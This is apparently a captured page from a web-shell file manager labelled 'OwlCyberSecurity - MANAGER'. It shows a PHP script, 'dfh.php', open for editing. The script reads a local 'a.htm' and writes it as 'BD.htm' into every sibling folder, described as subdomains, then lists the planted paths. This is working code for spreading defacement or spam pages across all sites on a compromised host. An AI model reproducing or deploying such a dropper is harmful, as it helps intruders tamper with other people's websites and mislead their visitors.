OwlCyberSecurity - MANAGER
Edit File: dfh.php
<?php // Step 1: Go one folder back $bmPath = realpath(__DIR__ . '/../'); // Step 2: Path to the file you want to upload $fileToUpload = __DIR__ . '/a.htm'; // make sure a.htm exists // Step 3: Read file content if (!file_exists($fileToUpload)) { die('a.htm not found!'); } $fileContent = file_get_contents($fileToUpload); // Step 4: Get all folders (subdomains) $folders = array_filter(glob($bmPath . '/*'), 'is_dir'); // Step 5: Upload to each folder and print clean result foreach ($folders as $folder) { $folderName = basename($folder); // only the folder name $destinationFile = $folder . '/BD.htm'; if (file_put_contents($destinationFile, $fileContent)) { echo "$folderName/BD.htm<br>"; // ONLY clean folder + file name } } ?>